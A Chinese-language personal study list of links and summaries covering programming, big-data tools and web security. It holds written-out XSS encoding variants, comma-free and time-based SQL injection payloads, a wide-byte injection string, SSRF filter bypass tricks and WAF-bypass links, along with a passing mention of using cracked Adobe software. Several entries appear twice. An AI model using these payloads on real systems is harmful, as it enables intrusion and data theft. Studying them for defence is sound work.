**Python**：lamda匿名函数，功能是执行某种简单的表达式或运算，而无需完全定义函数；Map函数是一种内置的python函数，可以将函数应用于各种数据结构中的元素；Filter内置函数与Map函数类似，但是只返回应用函数返回True的元素；Itertools模块是处理迭代器的工具集合，迭代器是一种可以在for循环语句中使用的数据类型；Generator函数是一个类似迭代器的函数。
- [为什么要使用 Go 语言？Go 语言的优势在哪里？](https://www.zhihu.com/question/21409296)<br>
**Go**：go的优势和go的用处。go的优势主要有：静态语言，多并发，跨平台，可直接编译成机器码，丰富的标准库等。go的用处主要有服务器编程、网络编程、分布式系统、内存数据库、云平台。
- [Gin实践 连载一 Golang介绍与环境安装](https://segmentfault.com/a/1190000013297625)<br>
**Go**：go的环境安装，环境安装后各个文件夹的含义；go的工作区，工作区各个文件夹的含义。
- [ruby-on-rails – Ruby和JRuby有什么区别](https://codeday.me/bug/20170830/62159.html)<br>
**Ruby**：Ruby是一种编程语言，我们一般说的Ruby解释器是指CRuby，CRuby在本地C语言解释器环境中运行，JRuby是一个采用纯Java实现的Ruby解释器，JRuby在Java虚拟机中运行。
### 框架
- [Gin - 高性能 Golang Web 框架的介绍和使用](https://www.yoytang.com/go-gin-doc.html)<br>
**Gin**：是用Go编写的一个Web应用框架。
- [spring boot与spring mvc的区别是什么？](https://www.zhihu.com/question/64671972)<br>
**Spring**—》Spring MVC—》Spring Boot。
### 工具
- [spark与storm的对比](https://blog.csdn.net/bigtree_3721/article/details/78552536)<br>
**大数据技术工具-计算类型**：从实时计算模型、实时计算延迟度、吞吐量、事物机制、健壮性/容错性、动态调整并行度等方面来比较。spark streaming是准实时模型，对一个时间段内的数据收集起来，作为一个RDD，再处理，实时计算延迟度为秒级，吞吐量大，支持事物机制但不够完善，健壮性一般，不支持动态调整并行度；而storm是纯实时模型，来一条数据，处理一条数据，实时计算延迟度为毫秒级，吞吐量小，支持完善的事物机制，健壮性强，支持动态调整并行度。**应用场景**：对于storm，可以在纯实时不能忍受1秒以上延时的场景下使用；对于实时计算的功能中，要求可靠的事物机制和可靠性机制，即数据处理完全就精确，也可以考虑storm；如果还需要针对高峰低峰时间段，动态调整实时计算程序的并行度，以最大限度利用资源，也可以考虑storm；如果项目中就是纯粹的实时计算，不需要在中间执行SQL交互式查询等其他操作，用storm是较好的选择。反之如果不要求纯实时，不要求可靠的事物机制，不要求动态调整并行度，可以考虑spark streaming，spark streaming最大的优势在于处于spark生态技术栈中，从项目的宏观角度考虑，如果不仅要求实时计算，还要离线批处理、交互式查询，而且在实时计算中，也会牵扯到高延迟批处理、交互式查询等功能，那么可以用spark core开发离线批处理，spark sql开发交互式查询，用spark streaming开发实时计算，无缝整合，给系统提供高扩展性，这个特点大大增强了spark streaming的优势。两个框架擅长的细分场景不同。
- [子雨大数据之Spark入门教程(Python版)](http://dblab.xmu.edu.cn/blog/1709-2/)（比较重要）
- [日志采集系统flume和kafka有什么区别及联系，它们分别在什么时候使用，什么时候又可以结合？](https://www.zhihu.com/question/36688175)<br>
**大数据技术工具-中间件类型**：可以把kafka理解成中间件，或是cache系统，或是数据库，主要作用是维稳。可以把flume理解成日志数据的主动收集，与kafka相比，很难推动线上应用修改接口往kafka中写入数据。
- [logstash 和 flume 之间的优劣，和各自所适合的场景？](https://www.zhihu.com/question/31200212)<br>
**大数据技术工具-Agent类型**：看需求，logstash和flume都是作为agent的存在，logstash有更多的插件，有更好的配套产品elasticsearch等，但是logstash的开发语言是ruby，运行环境是JRuby，而且传输数据可能会丢失；flume内部有机制确保传输一定量级数据不丢失的问题，flume的开发语言是Java，易于二次开发，但是不足是jvm占用内存有点大。
- [Mac快捷键大全](https://jingyan.baidu.com/article/08b6a591aac09614a909224f.html)<br>
**MAC**：基础快捷键：截图、在应用程序中、文本处理、在finder中、在浏览器中；MAC启动和关机时的快捷键。
- [常用 Git 命令单](http://www.ruanyifeng.com/blog/2015/12/git-cheat-sheet.html)<br>
**Git**：远程仓库-》本地仓库-〉暂存区-》工作区，git add .、git commit -m message、git push。
- [git-lfs](https://coding.net/help/doc/git/git-lfs.html)<br>
**Git-lfs**：git大文件上传扩展工具。
- [tshark统计分析pcap包](https://www.wireshark.org/docs/man-pages/tshark.html)
- [Python项目打包和发布](# 工具)<br>
**备忘录**：1、setup.py: long_description和long_description_content_type(注意md和rst格式渲染问题)。2、manifest.in vs .gitignore。3、readme.rst vs readme.md。4、.pypirc vs .gitconfig。5、python setup.py bdist_wheel upload。
### 技术
- [解码与xss](https://blog.csdn.net/he_and/article/details/80588409)(**原文中有一处错误“html实体编码后“应该是`\u72` 产生的原因就是浏览器的html自解码**)<br>
**浏览器技术-解码顺序**：浏览器解码主要涉及到两个部分：渲染引擎和js解析器。解码顺序：在什么环境下就进行什么解码，解码顺序为：最外层的环境对应的编码最先解码。举个例子:在`<a href=javascript:alert(1)>click</a>`中alert(1)处在html->url->js环境中。
1、<a href=javascript:al\u65rt(1)>click</a> 采用unicode编码e，html和url环境下都不能解码，只有在js环境下才能解码为字符e，所以不会弹窗<br>
2、<a href=javascript:al%65rt(1)>click</a> 采用url编码，在执行js前，url解码%65，所以到了js引擎启动时，看到了完整的alert(1)<br>
3、<a href=javascript:alert(1)>click</a> html实体解码先执行了<br>
4、<a href=java%61script:alert(1)>click</a> 在url解码环节，不会认为javascript是伪协议，会出现错误。<br>
5、<a href=# onclick="alert('');alert('2');">click</a> htmlparser会优先于JavaScript parser执行，所以解析过程是htmlencode的字符先被解码，然后执行JavaScript事件。<br>
**浏览器解码顺序是XSS中bypass的基础**。
- [dockerfile 和 docker-compose 的关系](https://segmentfault.com/q/1010000009883848)<br>
**docker技术**：文件和文件夹的关系。
- [dockerfile 与 docker-compose的区别是什么?](https://segmentfault.com/q/1010000009883848)<br>
**docker技术**：docker-compose是编排容器的。
- [堡垒机是什么？](https://www.zhihu.com/question/21036511)<br>
**堡垒机技术**：为访问集群限定一个入口；方便权限控制以及监控。
- [产品的可行性需从哪几个方面分析？](https://zhuanlan.zhihu.com/p/20875988)<br>
**可行性分析**：产品可行性分为：技术可行性、经济可行性、社会可行性，其中我关注的是技术可行性。技术可行性主要从竞争对手功能比较、技术风险及规避方法、易用性及用户使用门槛、产品环境依赖性等方面衡量。
- [Nginx、Gunicorn在服务器中分别起什么作用？](https://www.zhihu.com/question/38528616)<br>
**应用服务器**：Nginx部署场景：负载均衡（tornado之类的框架只支持单核，所以多进程部署需要反向负载均衡。gunicorn本身就是多进程其实不需要）、静态文件支持、抗并发压力、额外的访问控制。
- [维基百科：Kerberos](https://zh.wikipedia.org/wiki/Kerberos)<br>
**Kerberos**：Kerberos的基本描述、协议内容和具体流程。
- [dockerfile 和 docker-compose 的关系](https://segmentfault.com/q/1010000009883848)<br>
**docker技术**：文件和文件夹的关系。
- [dockerfile 与 docker-compose的区别是什么?](https://segmentfault.com/q/1010000009883848)<br>
**docker技术**：docker-compose是编排容器的。
- [堡垒机是什么？](https://www.zhihu.com/question/21036511)<br>
**堡垒机技术**：为访问集群限定一个入口；方便权限控制以及监控。
- [产品的可行性需从哪几个方面分析？](https://zhuanlan.zhihu.com/p/20875988)<br>
**可行性分析**：产品可行性分为：技术可行性、经济可行性、社会可行性，其中我关注的是技术可行性。技术可行性主要从竞争对手功能比较、技术风险及规避方法、易用性及用户使用门槛、产品环境依赖性等方面衡量。
- [Nginx、Gunicorn在服务器中分别起什么作用？](https://www.zhihu.com/question/38528616)<br>
**应用服务器**：Nginx部署场景：负载均衡（tornado之类的框架只支持单核，所以多进程部署需要反向负载均衡。gunicorn本身就是多进程其实不需要）、静态文件支持、抗并发压力、额外的访问控制。
- [维基百科：Kerberos](https://zh.wikipedia.org/wiki/Kerberos)<br>
**Kerberos**：Kerberos的基本描述、协议内容和具体流程。
- [什么是微服务架构**？](https://www.zhihu.com/question/65502802)
- [什么是Service Mesh（服务网格）](https://jimmysong.io/posts/what-is-a-service-mesh/)<br>
**微服务架构**：Why：为什么使用服务网格？传统的MVC三层Web应用程序架构下，服务之间的通讯并不复杂，在应用程序内部自己管理即可，但在如今复杂的大型网站情况下，单体应用被分解成众多的微服务，服务之间的依赖和通讯十分复杂。What：服务网格，是服务间通信的基础设施层，可以把它比作是应用程序或是微服务间的TCP/IP，负责服务间网络调用、限流、熔断和监控。Service Mesh的特点：应用程序间通讯的中间层、轻量级网络代理、应用程序无感知、解耦应用程序的重试/超时、监控、追踪和服务发现。目前流行的开源软件是Istio和Linkerd，都可以在Cloud Native的kubernetes环境中集成。
- [Updater fails if not run as admin, even on a user installation](https://github.com/MiKTeX/miktex/issues/56)<br>
<br>
**LaTeX**：MiKTeX（注册表问题和管理员权限问题）+TeXnicCenter（不能生成pdf问题，设置Build中adobe execute path为正版AcroRd32.exe）+Adobe Acrobat Reader DC，再利用破解版Adobe Acrobat DC转其他格式。
- [HTTPS原理及交互过程](https://zhuanlan.zhihu.com/p/28197870)<br>
**HTTPS**：HTTPS在传输数据之前需要浏览器和网站之间进行一次握手，在握手的过程中将确认双方加密传输数据的密码信息。获取公钥-》浏览器产生随机（对称）秘钥-》使用公钥对对称秘钥加密-》发送加密后的对称秘钥-》通过对称秘钥加密的密文通信。**HTTPS通信的整个过程使用了对称加密、非对称加密和HASH算法**。
- [浏览器的同源策略](https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy)<br>
**浏览器技术**：同源策略是浏览器最核心最基本的安全功能，同源的定义为：协议/主机/端口。
- [九种跨域方式实现原理（完整版）](https://juejin.im/post/5c23993de51d457b8c1f4ee1)<br>
**浏览器技术**：跨域请求解决方案：JSONP（依赖script标签没有跨域限制的漏洞）、CORS（跨域资源共享）、postMessage、websocket、Node中间件代理、nginx反向代理、windows.name+iframe、location.hash+iframe、document.domain+iframe。<br>
**CORS**支持所有类型的HTTP请求，是跨域HTTP请求的根本解决方案。**JSONP**只支持GET请求，优势在于支持老式浏览器，以及可以向不支持CORS的网站请求数据。不管是**Node中间件代理**还是**nginx反向代理**，主要是通过同源策略对服务器不加限制。日常工作中，用的比较多的跨域方案是CORS和nginx反向代理。
- [如何在Jupyter Notebook中使用Python虚拟环境？](https://zhuanlan.zhihu.com/p/29564719)<br>
**Anaconda**：安装插件，conda install nb_conda
- [既然有 HTTP 请求，为什么还要用 RPC 调用？ - 易哥的回答](https://www.zhihu.com/question/41609070/answer/1030913797)<br>
**RPC**：Restful VS RPC。RPC包括：反向代理、序列化与反序列化、通信（HTTP、TCP、UDP）、异常处理
## 底层研究
- [python requests库流程简析](https://www.jianshu.com/p/a5e98489dcb8)<br>
**python requests库实现**：socket->httplib->urllib->urllib3->requests。requests.get的内部调用流程：requests.get->requests()->Session.request->Session.send->adapter.send->HTTPConnectionPool(urllib3)->HTTPConnection(httplib)。
```
1、socket：是TCP/IP最直接的实现，实现端到端的网络传输
2、httplib：基于socket库，是最基础最底层的http库，主要将数据按照http协议组织，然后创建socket连接，将封装的数据发往服务端
3、urllib：基于httplib库，主要对url的解析和编码做进一步处理
4、urllib3：基于httplib库，相较于urllib更高级的地方在于用PoolManager实现了socket连接复用和线程安全，提高了效率
5、requests：基于urllib3库，比urllib3更高级的是实现了Session对象，用Session对象保存一些数据状态，进一步提高了效率
```
- [XGBoost原理和底层实现剖析](https://snaildove.github.io/2018/10/02/get-started-XGBoost/)（学到了）<br>
**XGBoost**：从树的分数（目标函数：损失函数（二阶展开）+正则项），树的结构（分裂决策（预排序））方面理解。
- [Lightgbm 直方图优化算法深入理解](https://blog.csdn.net/anshuai_aw1/article/details/83040541)<br>
**Lightgbm**：相较于预排序而言，lgb采用了直方图来处理节点分裂，寻找最优分割点。算法思想：在训练前预先把特征值转化为bin value，也就是对每个特征的取值做分段函数，将所有样本在该特征上的取值划分到某一段（bin）中，最终把特征取值从连续值转化为离散值。直方图也可以用来做差加速，计算直方图的复杂度是基于桶的个数的。
- [keras文本预处理源码分析](https://keras.io/preprocessing/text/)<br>
**Keras-文本预处理**：
- [keras序列预处理源码分析](https://github.com/keras-team/keras/blob/master/keras/preprocessing/sequence.py)
### Word2Vec
- [理解 Word2Vec 之 Skip-Gram 模型](https://zhuanlan.zhihu.com/p/27234078)
- [基于TensorFlow实现Skip-Gram模型 - 天雨粟的文章](https://zhuanlan.zhihu.com/p/27296712)
- [Word2Vec Tutorial - The Skip-Gram Model](http://mccormickml.com/2016/04/19/word2vec-tutorial-the-skip-gram-model/)
- [Word2Vec Tutorial Part 2 - Negative Sampling](http://mccormickml.com/2017/01/11/word2vec-tutorial-part-2-negative-sampling/)
- [Word2Vec word embedding tutorial in Python and TensorFlow](https://adventuresinmachinelearning.com/word2vec-tutorial-tensorflow/)
- [word2vec_basic tensorlflow源码分析](https://github.com/tensorflow/tensorflow/blob/r0.12/tensorflow/examples/tutorials/word2vec/word2vec_basic.py)
- [A Word2Vec Keras tutorial](http://adventuresinmachinelearning.com/word2vec-keras-tutorial/)
- [keras_word2vec@adventures-in-ml-code](https://github.com/adventuresinML/adventures-in-ml-code/blob/master/keras_word2vec.py)
# 安全
## 安全技术
### 漏洞
- [对乌云漏洞库payload的整理以及Burp辅助插件](https://mp.weixin.qq.com/s/9RHVsw-HtAfo1UuPAqXZEw)
- [boy-hack/wooyun-payload](https://github.com/boy-hack/wooyun-payload)
- [从研究者视角看漏洞研究之2010年代](https://mp.weixin.qq.com/s/UBZv0pd7Nr-o-NMxjV53RQ)<br>
**漏洞研究：近10年的漏洞研究现状和趋势**：1、后PC时代，控制流完整性成为新的系统安全基础性防护机制。2、令人惊喜的硬件安全特性和硬件安全漏洞。3、旧瓶装新酒，移动设备的安全设计实现弯道超车。4、网络入口争夺战愈演愈烈，网络入口有：浏览器、WiFi协处理器、基带、蓝牙、路由器、即时通信设备、社交软件、邮件客户端、传统PC和服务器。5、自动化漏洞挖掘和利用仍需提高。
### Web安全
- [一篇文章带你深入理解漏洞之 XXE 漏洞](https://xz.aliyun.com/t/3357)<br>
**XXE漏洞**：XXE的原理：调用外部实体，XXE的利用：利用通用实体、参数实体、外部实体、内部实体进行文件读取，内网主机和端口探测、内网RCE（php下需要expect扩展的支持）
- [mysql无逗号的注入技巧](http://wonderkun.cc/index.html/?p=442)<br>
**注入攻击**：sql注入、xml注入（一种标记语言，通过标签对数据进行结构化表示）、代码注入（eval类）、CRLF注入（\r\n）。Mysql injection：使用注释绕过空格，使用括号绕过空格，使用%20 %0a等符号替换空格；union查询下，使用join绕过逗号过滤，`select id,ip from client_ip where 1>2 union select * from ( (select user())a JOIN (select version())b ); `使用`select case when（条件） then 代码1 else 代码2 end`绕过逗号过滤，`insert into client_ip (ip) values ('ip'+(select case when (substring((select user()) from 1 for 1)='e') then sleep(3) else 0 end));`
- [CRLF Injection漏洞的利用与实例分析]([https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html](https://wooyun.js.org/drops/CRLF Injection漏洞的利用与实例分析.html))<br>
CRLF是“回车+换行”(\r\n)的简称。HTTP Header和HTTP Body是用两个CRLF分隔的。CRLF injection又叫做HTTP Response Splitting，简称HRS。X-XSS-Protection:0关掉浏览器对反射型XSS过滤的保护策略。
- [SSRF漏洞利用与getshell实战（精选）](https://mp.weixin.qq.com/s/1hzfFhh4HBlilNmHxSfa8g)
- [SSRF漏洞中绕过过滤（IP限制）的几种方法总结](https://www.freebuf.com/articles/web/135342.html)<br>
**SSRF**：利用302跳转（xip.io、短地址、自写服务）；DNS 重绑定（绕过IP限制）；更改IP地址写法；利用解析URL所出现的问题：`http://www.baidu.com@192.168.0.1/`；通过各种非HTTP协议
- [SSRF绕过方法总结](http://byd.dropsec.xyz/2017/11/21/SSRF%E7%BB%95%E8%BF%87%E6%96%B9%E6%B3%95%E6%80%BB%E7%BB%93/)<br>
**SSRF**：利用@；利用短地址；利用特殊域名xip.io；利用DNS解析（在域名上设置A记录）；利用进制转换；利用句号
- [ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析](https://chybeta.github.io/2019/01/13/ThinkPHP-5-0-0-5-0-23-RCE-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
- [浅析白盒审计中的字符编码及SQL注入](https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html#1452)(优秀，学到了)<br>
**基于字符编码的注入攻击**：一个gbk编码的汉字，占2个字节，一个utf-8编码的汉字，占用3个字节。宽字节注入是利用mysql的特性，mysql在使用gbk编码的时候，会认为两个字符是一个汉字（gbk下，前一个ascii码要大于128，才到汉字的范围；gb2312的编码取值范围：高位`0xA1-0xF7`，低位`0xA1-0xFE`，而`\`是`0x5c`，不在低位范围中，所以`0x5c`不是gb2312中的编码，所以不会被吃掉。把这个思路拓宽到所有的多字节编码，只要低位的范围中含有`0x5c`的编码，就可以进行宽字节注入）。防御方案一：`mysql_set_charset+mysql_real_escape_string`,考虑到连接的当前字符集。防御方案二：将`character_set_client`设置为`binary`（二进制），`SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary`。当我们的mysql接受到客户端的数据后，会认为他的编码是`character_set_client`，然后会将之将换成`character_set_connection`的编码，然后进入具体表和字段后，再转换成字段对应的编码。然后，当查询结果产生后，会从表和字段的编码，转换成`character_set_results`编码，返回给客户端。所以，我们将`character_set_client`设置成`binary`，就不存在宽字节或多字节的问题了，所有数据以二进制的形式传递，就能有效避免宽字符注入。防御过后调用iconv时也可能出现问题。使用iconv对utf-8转gbk时，利用方式是`錦'`，原因是它的utf-8编码是`0xe98ca6`，它的gbk编码是`0xe55c`，最后变成`%e5%5c%5c%27`，两个`%5c`就是`\`，正好把反斜杠转义了。使用iconv对gbk转utf-8时，利用方式直接用宽字节注入。一个gbk汉字2字节，utf-8汉字3字节，如果我们把gbk转换成utf-8，则php会每两个字节一转换。所以，如果`\'`前面的字符是奇数的话，势必会吞掉`\`，`'`逃出限制。为什么不能用`錦'`这种方式呢，根据utf-8编码规则，`\（0x0000005c）`不会出现在utf-8编码中，所以会报错。
- [客户端session导致的安全问题](https://www.leavesongs.com/PENETRATION/client-session-security.html)
- [一文洞悉DAST、SAST、IAST ——Web应用安全测试技术对比浅谈](https://mp.weixin.qq.com/s/EWn9ktce3KB4P6zi4slnTA)（学到了）
- [谈谈SAST/IDAST/IAST](http://chengable.net/index.php/archives/391/?from=timeline&isappinstalled=0)
- [PHP 连接方式介绍以及如何攻击 PHP-FPM](https://mp.weixin.qq.com/s/z2JVc9kUkmRl9bDaEbkTFg)
- [一个GET请求拿到flag——XCTF 2018 Final PUBG(WEB 2) Writeup](https://www.cdxy.me/?p=799)
### 渗透测试
- [一套实用的渗透测试岗位面试题](https://mp.weixin.qq.com/s/KZn6p5sk1Ae9i3m4e-XCpg)<br>
代码执行函数：`eval、preg_replace+/e、assert、call_user_func、call_user_func_array、create_function`；命令执行函数：`system、exec、shell_exec、passthru、pcntl_exec、popen、proc_open`；img标签除了onerror属性外，还有其他获取管理员路径的方式吗？src指定一个远程的脚本文件，获取referer。
- [一套实用的渗透测试岗位面试题，你会吗？](http://www.shungg.cn/?post=70)
- [我的面经，渗透测试](https://xz.aliyun.com/t/2091)
### 代码审计
- [Java代码审计-层层推进](https://paper.tuisec.win/detail/6c0d0d6d669ee6d)
### 数据安全
- [NO.27 闲扯 关于数据安全](https://zhuanlan.zhihu.com/p/58146084?utm_source=wechat_session&utm_medium=social&utm_oi=663312716719067136)<br>
大数据技术、时代，**数据是很多公司最核心的资产**；传统的安全边界模糊，我们需要假设我们边界已经被渗透的同时，拥有纵深防御能力，保护信息的安全。所以在加强传统安全手段的同时，我们更应该直接把安全的重点放在数据本身上，这就是数据安全所做的工作。在做之前，有一个前提：我们要知道安全依然是为业务服务的（大部分企业安全情况下，业务>安全），所以要权衡安全性和可用性。目前企业常用的措施主要有：数据分级、数据生命周期管理、数据脱敏&数据加密、数据防泄漏。
- [互联网企业数据安全体系建设](https://tech.meituan.com/2018/05/24/data-security-system-construction.html)
### 云安全
- [云安全，到底是什么一回事？](https://www.zhihu.com/question/19567976/answer/604675005?utm_source=wechat_session&utm_medium=social&utm_oi=663312716719067136)<br>
云安全三大研究方向：云计算安全、安全基础设施的云化、云安全服务。在云安全未来发展趋势中也提到了数据安全协作，说明无论哪种场景，数据都是安全的重点关注对象。云安全服务可以看成厨师做饭（来自cdxy的ppt），云计算（能源）、算法（工具）、数据（原料）、工程师（厨师）、能做成什么样的饭（能提供的安全服务）
- [云安全的未来](https://mp.weixin.qq.com/s/MfjRfJ04fnRY8gI5s6BA8g)（深度长文）<br>
**行文思路**：云安全的市场趋势-》云安全的主流产品（云平台的安全产品和第三方云安全产品CWPP、CSPM、CASB）-》云安全与SD-WAN的结合-》云原生（DevOps、持续交付、微服务、容器）安全。
### 其他
- [安全资料：企业实验室、安全社区、安全团队、安全工具等](http://blkstone.github.io/friend/)
## 安全工具
### 漏洞扫描
- [使用 xray 代理模式进行漏洞扫描](https://xray.cool/xray/#/tutorial/webscan_proxy)
## 安全研究
### APT检测
- [APT detection based on machine learning](https://mp.weixin.qq.com/s?__biz=MzU5MTM5MTQ2MA==&mid=2247484139&idx=1&sn=0da63a49f341eccc0bb48c954d8ebbb4&chksm=fe2efd60c95974767521fe6a6b7257a1d05e5482fc7ddeda281bdf0f0deb20add82d1a82d8ec&mpshare=1&scene=1&srcid=&pass_ticket=bjnNiDKomd79pQvRonW%2BXsTe6JrO%2FFs6oII12dZaLBPuQOtNK6Rzh9WSJ%2B%2F89ZUA#rd)<br>
**APT检测模型**：本篇论文提出一种APT检测模型，通过在APT生命周期的多个环节进行检测，并将各个环节告警事件进行关联，并使用机器学习训练检测模型。和我的想法略有相似，之前想过可以用图模型或者规则关联算法进行关联以此重构攻击链，但是本篇文章好像是把关联的事件集作为输入数据输入到一个预测模型中去训练。这么做的目的是要完整地描述一个APT场景下的安全事件集，降低误报率，提高准确率，避免传统APT单环节检测造成的漏报、误报的问题。但是本文也存在一些问题，比如缺少APT数据源问题，缺少安全数据一直是个难题，导致本文提出的模型未能在真实的环境中论证。
### 恶意样本
- [利用机器学习检测HTTP恶意外连流量](https://www.anquanke.com/post/id/107124)（优秀）<br>
**恶意HTTP外连流量检测**：**总体思路**：**1、数据收集**，沙箱运行恶意样本，收集恶意流量，人工区分恶意流量和白流量，再根据威胁情报对恶意流量划分家族。**2、数据分析**（特征工程）：同一家族恶意外连流量的相似性，可以考虑使用聚类算法将同一家族的流量聚为一类，提取它们的共性，形成模板，再用模板检测未知流量。**3、算法：训练阶段**：提取HTTP外连流量--->提取请求头字段--->泛化--->相似度计算（**请求头中字段特异性加权再计算相似性**）--->层次聚类--->生成恶意外连流量模板（聚类中该字段并集作为该字段在模板中的值）。**检测阶段**：未知HTTP外连流量--->提取请求头字段--->泛化--->与恶意模板匹配--->判断相似度是否超过阈值（阈值确定）
- [Cuckoo恶意软件自动化分析平台搭建](https://wooyun.js.org/drops/Cuckoo%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6%E8%87%AA%E5%8A%A8%E5%8C%96%E5%88%86%E6%9E%90%E5%B9%B3%E5%8F%B0%E6%90%AD%E5%BB%BA.html)
- [Cuckoo 恶意软件分析环境](https://github.com/crazywa1ker/DarthSidious-Chinese/blob/master/BUILDING-A-LAB/Cuckoo%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6%E5%88%86%E6%9E%90%E7%8E%AF%E5%A2%83.md)
- [Playing with Cuckoo](https://rastamouse.me/2017/05/playing-with-cuckoo/)<br>
**Cuckoo沙箱：**在搭建Cuckoo恶意样本分析环境的过程中遇到了很多坑，现在还印象深刻的还有**pip 换源** -i https://pypi.tuna.tsinghua.edu.cn/simple；配置agent.py到startup文件夹中；注意windows10、ubuntu16和windows7之间的网络关系，NAT和Host-Only模式。物理主机windows10装vmware，vmware装ubuntu16，ubuntu16装virtualbox和cuckoo server端，virtualbox装windows7 作为agent端。
- [恶意样本分析资源汇总](https://www.malwareanalysis.cn/1054/?from=groupmessage&isappinstalled=0)
### 对抗机器流量
- [2018 Bad Bot Report](https://content.cdntwrk.com/files/aT05NTg0OTcmdj01Jmlzc3VlTmFtZT0yMDE4LWJhZC1ib3QtcmVwb3J0JmNtZD1kJnNpZz1mMzk1YTBhNWU2YTRhMmFkNGRiZDBhZWJjOTFlMjhmZQ%253D%253D)<br>
**对抗机器流量**：安全对抗促使攻击手段进化，进入了自动化对抗的阶段，参差不齐的爬虫、撞库、模拟器产生了大量的机器流量，这其中搜索引擎类的爬虫、自动更新的RSS订阅服务器产生了正常的机器流量，而恶意爬虫等模仿正常用户的请求产生了恶意的机器流量，模仿的程度也不同，简单点的恶意机器流量直接通过脚本产生，高级点的通过浏览器产生，比如headless browser，更高级的可以模拟鼠标移动和点击。可以根据网络环境(Amazon ISP、data centers、global hosting providers)、使用工具（机器流量的browser喜欢伪装成Chrome、Firefox、Internet explorer、Safari）、是否模仿人类交互，比如鼠标轨迹和点击来区分机器流量和正常用户流量。一旦它们发现我们尝试阻止它们，高级恶意机器流量APBs就会展现出persistent和adaptive，进行多模式转换。**防御：理解我方业务和敌方目标。抑制过时的UA/Browser；抑制知名的主机服务商；保护敏感API；根据源流量观察高低峰段（波形？）；调查该恶意机器流量的sign，即显著性标志；监控失败的登录尝试；监控未能正确验证礼品卡的失败次数；注意公开的数据泄露，以防撞库；**。
### 恶意URL检测
- [Detecting Malicious URLs](http://www.sysnet.ucsd.edu/projects/url/#code)<br>
国内的安全算法和安全数据分析资料翻阅到了尽头，开始将矛头转向国外,追踪国外的机器学习在网络安全领域的应用的发展过程。以URL检测为例，可以衍生出很多适用场景，恶意网页检测，恶意通信活动，恶意web软件。
- [Beyond Blacklists: Learning to Detect Malicious Web Sites from Suspicious URLs](http://www.cs.ucsd.edu/~jtma/papers/beyondbl-kdd2009.pdf)<br>
把恶意URL检测作为一种恶意网页检测的补充手段。数据：开源黑白URL样本，没什么特色；特征：词汇特征和基于主机的特征，特色一般，分析比较每子类特征，特色一般；模型：L1逻辑回归、SVM、Naive Bayes，没什么特色，分析比较每个模型，没什么特色；值得学习的是之后的结果再分析，分析了False Positive和False Negative等错误产生原因，Mismatched Data Sources，模型表现和特征表现。毕竟是十年前的论文。
- [Identifying Suspicious URLs: An Application of Large-Scale Online Learning](http://www.cs.ucsd.edu/~jtma/papers/url-icml2009.pdf)
- [Exploiting Feature Covariance in High-Dimensional Online Learning](http://www.cs.ucsd.edu/~jtma/papers/covariance-aistats2010.pdf)
### Red Team
- [Red Team从0到1的实践与思考](https://mp.weixin.qq.com/s/cyxC4Of4Ic9c_vujQayTLg)（学到了）<br>
Red Team的定义--->Red Team的目标（学习和利用已知真实攻击者的TTPs来攻击、评估现有防御能力的有效性以及识别防御体系的弱点并提出具体的应对方案、利用真实有效的模拟攻击来评估因为安全问题造成的潜在的业务影响）--->谁需要Red Team--->Red Team如何工作（基本构成：知识储备、基础架构、技术研究能力；工作流程：全阶段攻击模拟、分阶段攻击模拟；协作配合）--->Red Team的量化和考核（已知TTPs的覆盖率、检测率/检测时间/检测阶段、阻断率/阻断时间/阻断阶段）--->Red Team的成长与提高（仿真环境训练、漏洞分析与技术研究、外部交流与分享）
- [ATT&CK APT组织TTPs总结](https://attack.mitre.org/groups/)
- [ATT&CK全平台攻击技术总结](https://attack.mitre.org/matrices/enterprise/)
- [真实APT组织分析报告汇总](https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections)
### WAF
- [技术讨论 | 在HTTP协议层面绕过WAF](https://www.freebuf.com/news/193659.html)
- [利用分块传输吊打所有WAF](https://www.anquanke.com/post/id/169738)
- [从http协议层面和数据库层面绕过waf](https://zhengbao.wang/%E4%BB%8Ehttp%E5%8D%8F%E8%AE%AE%E5%B1%82%E9%9D%A2%E5%92%8C%E6%95%B0%E6%8D%AE%E5%BA%93%E5%B1%82%E9%9D%A2%E7%BB%95%E8%BF%87waf/)
- [WAF攻防研究之四个层次Bypass WAF](https://www.weibo.com/ttarticle/p/show?id=2309404007261092631700&infeed=1)
- [对过WAF的一些认知](https://mp.weixin.qq.com/s/cYy3BecwoxR7d3Jj-IpnIQ)
### 异常检测
- [异常检测的N种方法](https://mp.weixin.qq.com/s/kv-ZrOF4nnxXoQwFOodzjA)（学到了）<br>
异常检测的一大难点就是缺少ground truth，常见的方法是先用无监督方法挖掘异常样本，再用有监督模型融合多个特征挖掘更多异常。分别从时间序列（移动平均、同比和环比、STL+GESD）、统计（马氏距离、箱线图）、距离角度（KNN）、线性方法（矩阵分解和PCA降维）、分布（相对熵KL散度、卡方检验）、树、图、行为序列、有监督模型（可以自动组合较多特征，比如GBDT）等角度检测异常。
- [机器学习-异常检测算法（一）：Isolation Forest](https://zhuanlan.zhihu.com/p/27777266)
- [机器学习-异常检测算法（二）：Local Outlier Factor](https://zhuanlan.zhihu.com/p/28178476)
- [机器学习-异常检测算法（三）：Principal Component Analysis](https://zhuanlan.zhihu.com/p/29091645)
- [什么是一类支持向量机（one class SVM），是指分两类的支持向量机吗？](https://www.zhihu.com/question/22365729)
- [异常检测算法之IsolationForest](https://github.com/mylamour/blog/issues/27)
- [异常挖掘，Isolation Forest](https://www.jianshu.com/p/1b020e2605e2)
- [异常检测初尝试](https://iami.xyz/Inlier-Outlier-Detection/)
- [机器学习加持下的时序类数据异常智能监控](http://m.koo4.cn/ppt_全/AICon%20全球人工智能与机器学习技术大会深度培训/腾讯%20刘彪《机器学习加持下的时序类数据异常智能监控》.pdf)
- [海量运维日志异常挖掘](http://m.koo4.cn/ppt_全/Gdevops全球敏捷运维峰会成都站（Gdevops%202017）/知道创宇%20%20邓金城%20-%20海量运维日志异常挖掘.pdf)
